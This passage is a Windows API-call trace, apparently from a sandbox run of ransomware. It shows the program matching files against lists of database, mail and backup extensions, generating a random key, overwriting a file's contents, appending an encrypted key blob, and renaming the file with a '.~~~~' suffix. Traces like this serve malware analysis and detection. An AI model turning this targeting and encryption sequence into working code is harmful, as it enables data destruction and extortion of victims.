	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0077.582] lstrlenW (lpString=".NDF") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".NDF") returned 0x0
	[0077.582] lstrlenW (lpString=".dat") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dat") returned 0x0
	[0077.582] lstrlenW (lpString=".DBS") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DBS") returned 0x0
	[0077.582] lstrlenW (lpString=".CKP") returned 4
	[0077.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".CKP") returned 0x0
	[0077.583] lstrlenW (lpString=".edb") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".edb") returned 0x0
	[0077.583] lstrlenW (lpString=".PST") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".PST") returned 0x0
	[0077.583] lstrlenW (lpString=".dbf") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dbf") returned 0x0
	[0077.583] lstrlenW (lpString=".SQL") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".SQL") returned 0x0
	[0077.583] lstrlenW (lpString=".pst") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".pst") returned 0x0
	[0077.583] lstrlenW (lpString=".dbv") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dbv") returned 0x0
	[0077.583] lstrlenW (lpString=".SDF") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".SDF") returned 0x0
	[0077.583] lstrlenW (lpString=".dtxs") returned 5
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0077.583] lstrlenW (lpString=".db3") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".db3") returned 0x0
	[0077.583] lstrlenW (lpString=".OST") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".OST") returned 0x0
	[0077.583] lstrlenW (lpString=".dbx") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dbx") returned 0x0
	[0077.583] lstrlenW (lpString=".DB3") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DB3") returned 0x0
	[0077.583] lstrlenW (lpString=".DAT") returned 4
	[0077.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DAT") returned 0x0
	[0077.584] lstrlenW (lpString=".VHDX") returned 5
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0077.584] lstrlenW (lpString=".ndf") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".ndf") returned 0x0
	[0077.584] lstrlenW (lpString=".DB") returned 3
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DB") returned 0x0
	[0077.584] lstrlenW (lpString=".sql") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".sql") returned 0x0
	[0077.584] lstrlenW (lpString=".MYD") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".MYD") returned 0x0
	[0077.584] lstrlenW (lpString=".DBT") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DBT") returned 0x0
	[0077.584] lstrlenW (lpString=".ACCDB") returned 6
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0077.584] lstrlenW (lpString=".fdb") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".fdb") returned 0x0
	[0077.584] lstrlenW (lpString=".bak") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".bak") returned 0x0
	[0077.584] lstrlenW (lpString=".myd") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".myd") returned 0x0
	[0077.584] lstrlenW (lpString=".DTXS") returned 5
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0077.584] lstrlenW (lpString=".ckp") returned 4
	[0077.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".ckp") returned 0x0
	[0077.584] lstrlenW (lpString=".dbt") returned 4
	[0077.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".dbt") returned 0x0
	[0077.585] lstrlenW (lpString=".db") returned 3
	[0077.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".db") returned 0x0
	[0077.585] lstrlenW (lpString=".TXT") returned 4
	[0077.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".TXT") returned 0x0
	[0077.585] lstrlenW (lpString=".MDF") returned 4
	[0077.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".MDF") returned 0x0
	[0077.585] lstrlenW (lpString=".bdb") returned 4
	[0077.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".bdb") returned 0x0
	[0077.585] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0077.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.585] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0077.586] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.586] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x28061e8
	[0077.586] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19757656887) returned 1
	[0077.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x982399b0, dwHighDateTime=0x1d60e1e)) 
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd0d0
	[0077.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab570
	[0077.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd0d0 | out: hHeap=0x300000) returned 1
	[0077.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0077.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab570 | out: hHeap=0x300000) returned 1
	[0077.617] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0077.617] GetLastError () returned 0x0
	[0077.618] GetLastError () returned 0x0
	[0077.618] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0077.618] GetLastError () returned 0x0
	[0077.618] GetLastError () returned 0x0
	[0077.618] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x25dfec0*=0xfa60, lpOverlapped=0x0) returned 1
	[0077.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff05a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.624] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0xfa60, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x25dfec0*=0xfa60, lpOverlapped=0x0) returned 1
	[0077.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.624] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.624] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.624] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.625] CloseHandle (hObject=0x130) returned 1
	[0077.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.625] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.~~~~")) returned 1
	[0077.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0077.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0077.626] GetLastError () returned 0x0
	[0077.626] RtlWakeConditionVariable () returned 0x365f70
	[0077.626] GetCurrentThreadId () returned 0x9f4
	[0077.626] GetCurrentThreadId () returned 0x9f4
	[0077.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5520 | out: hHeap=0x300000) returned 1
	[0077.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9570 | out: hHeap=0x300000) returned 1
	[0077.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5520
	[0077.626] lstrlenW (lpString=".scr") returned 4
	[0077.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".scr") returned 0x0
	[0077.626] lstrlenW (lpString=".cmd") returned 4
	[0077.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".cmd") returned 0x0
	[0077.626] lstrlenW (lpString=".dll") returned 4
	[0077.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dll") returned 0x0
	[0077.626] lstrlenW (lpString=".bat") returned 4
	[0077.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".bat") returned 0x0
	[0077.626] lstrlenW (lpString=".cpl") returned 4
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".cpl") returned 0x0
	[0077.627] lstrlenW (lpString=".sys") returned 4
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".sys") returned 0x0
	[0077.627] lstrlenW (lpString=".msc") returned 4
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".msc") returned 0x0
	[0077.627] lstrlenW (lpString=".com") returned 4
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".com") returned 0x0
	[0077.627] lstrlenW (lpString=".lnk") returned 4
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".lnk") returned 0x0
	[0077.627] lstrlenW (lpString=".msp") returned 4
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".msp") returned 0x0
	[0077.627] lstrlenW (lpString=".pif") returned 4
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".pif") returned 0x0
	[0077.627] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch="msp\r\n.pif") returned 0x0
	[0077.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.669] lstrlenW (lpString=".sqb") returned 4
	[0077.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".sqb") returned 0x0
	[0077.669] lstrlenW (lpString=".ost") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".ost") returned 0x0
	[0077.681] lstrlenW (lpString=".txt") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".txt") returned 0x0
	[0077.681] lstrlenW (lpString=".mdt") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".mdt") returned 0x0
	[0077.681] lstrlenW (lpString=".BDB") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".BDB") returned 0x0
	[0077.681] lstrlenW (lpString=".eql") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".eql") returned 0x0
	[0077.681] lstrlenW (lpString=".DBF") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DBF") returned 0x0
	[0077.681] lstrlenW (lpString=".EQL") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".EQL") returned 0x0
	[0077.681] lstrlenW (lpString=".FDB") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".FDB") returned 0x0
	[0077.681] lstrlenW (lpString=".EDB") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".EDB") returned 0x0
	[0077.681] lstrlenW (lpString=".DACPAC") returned 7
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DACPAC") returned 0x0
	[0077.681] lstrlenW (lpString=".VHD") returned 4
	[0077.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".VHD") returned 0x0
	[0077.682] lstrlenW (lpString=".DBV") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DBV") returned 0x0
	[0077.682] lstrlenW (lpString=".dacpac") returned 7
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dacpac") returned 0x0
	[0077.682] lstrlenW (lpString=".sdf") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".sdf") returned 0x0
	[0077.682] lstrlenW (lpString=".accdb") returned 6
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".accdb") returned 0x0
	[0077.682] lstrlenW (lpString=".DBX") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DBX") returned 0x0
	[0077.682] lstrlenW (lpString=".MDT") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".MDT") returned 0x0
	[0077.682] lstrlenW (lpString=".SQB") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".SQB") returned 0x0
	[0077.682] lstrlenW (lpString=".vhd") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".vhd") returned 0x0
	[0077.682] lstrlenW (lpString=".bac") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".bac") returned 0x0
	[0077.682] lstrlenW (lpString=".mdf") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".mdf") returned 0x0
	[0077.682] lstrlenW (lpString=".BAK") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".BAK") returned 0x0
	[0077.682] lstrlenW (lpString=".BAC") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".BAC") returned 0x0
	[0077.682] lstrlenW (lpString=".dbs") returned 4
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dbs") returned 0x0
	[0077.682] lstrlenW (lpString=".vhdx") returned 5
	[0077.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".vhdx") returned 0x0
	[0077.683] lstrlenW (lpString=".NDF") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".NDF") returned 0x0
	[0077.683] lstrlenW (lpString=".dat") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dat") returned 0x0
	[0077.683] lstrlenW (lpString=".DBS") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DBS") returned 0x0
	[0077.683] lstrlenW (lpString=".CKP") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".CKP") returned 0x0
	[0077.683] lstrlenW (lpString=".edb") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".edb") returned 0x0
	[0077.683] lstrlenW (lpString=".PST") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".PST") returned 0x0
	[0077.683] lstrlenW (lpString=".dbf") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dbf") returned 0x0
	[0077.683] lstrlenW (lpString=".SQL") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".SQL") returned 0x0
	[0077.683] lstrlenW (lpString=".pst") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".pst") returned 0x0
	[0077.683] lstrlenW (lpString=".dbv") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dbv") returned 0x0
	[0077.683] lstrlenW (lpString=".SDF") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".SDF") returned 0x0
	[0077.683] lstrlenW (lpString=".dtxs") returned 5
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dtxs") returned 0x0
	[0077.683] lstrlenW (lpString=".db3") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".db3") returned 0x0
	[0077.683] lstrlenW (lpString=".OST") returned 4
	[0077.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".OST") returned 0x0
	[0077.684] lstrlenW (lpString=".dbx") returned 4
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".dbx") returned 0x0
	[0077.684] lstrlenW (lpString=".DB3") returned 4
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DB3") returned 0x0
	[0077.684] lstrlenW (lpString=".DAT") returned 4
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".DAT") returned 0x0
	[0077.684] lstrlenW (lpString=".VHDX") returned 5
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".VHDX") returned 0x0
	[0077.684] lstrlenW (lpString=".ndf") returned 4
	[0077.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpSrch=".ndf") returned 0x0
